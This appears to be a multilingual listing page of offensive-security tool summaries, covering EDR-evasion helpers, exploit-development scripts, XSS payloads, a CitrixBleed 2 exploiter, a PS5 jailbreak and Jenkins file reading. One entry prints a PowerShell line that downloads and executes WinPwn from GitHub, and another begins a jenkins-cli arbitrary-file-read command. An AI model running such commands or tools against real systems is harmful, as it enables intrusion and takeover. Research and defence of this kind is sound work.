OWASP-mth3l3m3nt-framework

OWASP Mth3l3m3nt Framework Un aggiornamento leggermente maggiore perdonate il gioco di parole è in corso. Questo per introdurre cose come: Standard di codifica più semplice Supporto per PHP 8 Funzionalità più robuste Correzione delle segnalazioni di bug inviate. Questo strumento è rilasciato sott...

Bin-Finder

Descrição Esta ferramenta procura por processos que tenham um determinado binário carregado ou por processos que não tenham. Isso é útil nos seguintes cenários: Permite detetar processos onde uma dll específica de EDR/AV não está carregada. Isso pode levar à deteção de exceções no EDR. Permite...

osed-scripts

osed-scripts strumenti su misura per il corso Windows Usermode Exploit Dev di Offensive Security OSED Indice Script Autonomi egghunter.py find-gadgets.py shellcoder.py install-mona.sh attach-process.ps1 Script per WinDbg find-ppr.py find-bad-chars.py search.py Script Autonomi Installazione: pip3...

browser-pwn

Browser-Pwn Il mondo dei browser è dominato da 4 attori principali: Chromium/Chrome Blink-Engine Firefox Gecko-Engine Safari WebKit-Engine Edge Blink-Engine in precedenza EdgeHTML-Engine Quanto segue è suddiviso in due parti: Informazioni che aiutano a comprendere la loro architettura e...

Awesome-CloudSec-Labs

Fantastici laboratori di sicurezza cloud Un elenco di laboratori gratuiti per imparare la sicurezza cloud native. Include CTF, workshop self-hosted, laboratori guidati sulle vulnerabilità e laboratori di ricerca. Ordinati per tecnologia e categoria Nome| Tecnologia| Categoria| Autore| Note...

Mystikal

Mystikal Generatore di payload per l'accesso iniziale su macOS Pensato per essere usato con https://github.com/its-a-feature/Mythic Post del blog correlato: https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 Utilizzo: 1. Installa Xcode sulla macchina di build Richiesto per il pacchetto...

gofireprox

GoFireProx Questa è una versione di FireProx portata in Golang Installazione root@kitploit: go install -v github.com/mr-pmillz/gofireprox/cmd/gofireprox@latest gofireprox come libreria Integra gofireprox con altri programmi in Go root@kitploit: package main import "fmt"...

detection-validation

Detection-Validation Zweck Das Tool automatisiert die Simulation bösartiger Prozessereignisse, ohne dass reale Prozesse eingerichtet werden müssen. Angenommen, Sie möchten testen, wie w3wp.exe PowerShell startet. Normalerweise müssten Sie dafür eine IIS-Einrichtung durchlaufen, um...

red-team-scripts

Script per Red Team Una raccolta di strumenti, script, tecniche, note, ecc. relativi al red teaming e all'emulazione degli avversari. Realizzata solo per scopo educativo, non utilizzarla per scopi illegali...

PowerShell-for-Hackers

Hacker Hak5 dell'anno 2022 Indice 1. Descrizione 2. Le Funzioni 3. Contatti 4. Riconoscimenti Funzioni PowerShell per Hacker 🤓💻 Attualmente sono il contributore di payload numero 1 per Hak5. Ho deciso di creare questo repository per condividere tutte le funzioni che ho ideato per sviluppare i mie...

permhash

Permhash è un framework estensibile per calcolare l'hash delle autorizzazioni dichiarate applicate alle estensioni del browser basate su Chromium e agli APK, consentendo clustering, hunting e pivoting simili all'import hashing e al rich header hashing. Permhash è attualmente in grado di funzionar...

COFFLoader

COFF Loader Questo è un loader COFF veloce e sporco noto anche come Beacon Object Files. Attualmente può eseguire BOF non modificati, quindi può essere usato per test senza che un agente CS lo esegua. L'unica eccezione è che le funzioni di compatibilità beacon relative all'iniezione sono...

pesieve-go

pesieve-go Binding Golang per PE-sieve. Richiede che pe-sieve32.dll, pe-sieve64.dll di una versione supportata siano presenti nella directory del progetto, o in un percorso indicato dalla variabile d'ambiente: PESIEVEDIR. API Espone i seguenti wrapper per l'API di PE-sieve: root@kitploit:...

weaponised-XSS-payloads

Payload XSS armati Payload XSS progettati per trasformare alert1 in P1. Il Post del Blog Questa repo è stata rilasciata insieme a un post del blog intitolato "Come Elevare i Tuoi Bug XSS da Medium a Critical" https://medium.com/@hakluke/upgrade-xss-from-medium-to-critical-cb96597b6cc4 Cos'è quest...

ExploitVeer

CVE-2025-5777: Lo Scanner Definitivo 🚀 🔐 CVE: CVE-2025-5777 🚨 Severità: Critica 👨‍💻 Autore: Virendra Kumar & CyberLeelawat 📜 Licenza: MIT Uno strumento avanzato, potente e facile da usare, progettato per rilevare e sfruttare la CVE-2025-5777 alias CitrixBleed 2. Questo script non solo identifica la...

chromium-exploit-dev

Toolkit per lo Sviluppo di Exploit per Chromium Un toolkit per trasformare le vulnerabilità di Chromium in exploit affidabili, cross-platform e a catena completa. Panoramica Questo progetto fornisce un insieme di potenti script helper, ma richiede che tu fornisca le tue vulnerabilità. Sei...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Raccolte di Strumenti WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

NachoVPN

NachoVPN 🌮🔒 NachoVPN è una Proof of Concept che dimostra lo sfruttamento dei client SSL-VPN, utilizzando un server VPN rogue. Utilizza un'architettura basata su plugin, così che il supporto per prodotti SSL-VPN aggiuntivi possa essere contribuito dalla community. Attualmente supporta vari popolar...

PS5-UMTX-Jailbreak

PS5 UMTX Jailbreak Sommario Questo repository contiene un exploit WebKit ROP della vulnerabilità UMTX race use-after-free CVE-2024-43102 segnalata da Synacktiv. In pratica è un porting della strategia di exploit di fail0verflow e di flatz. Abusa della UAF per ottenere una mappatura di...

pwn_jenkins

Esecuzione di codice remoto Lettura arbitraria tramite Jenkins CLI la CVE-2024-23897 si applica alle versioni precedenti alla 2.442 e alla LTS 2.426.3 Avviso Jenkins, Crediti Con autenticazione, è possibile recuperare un file completo: root@kitploit: java -jar jenkins-cli.jar -noCertificateCheck ...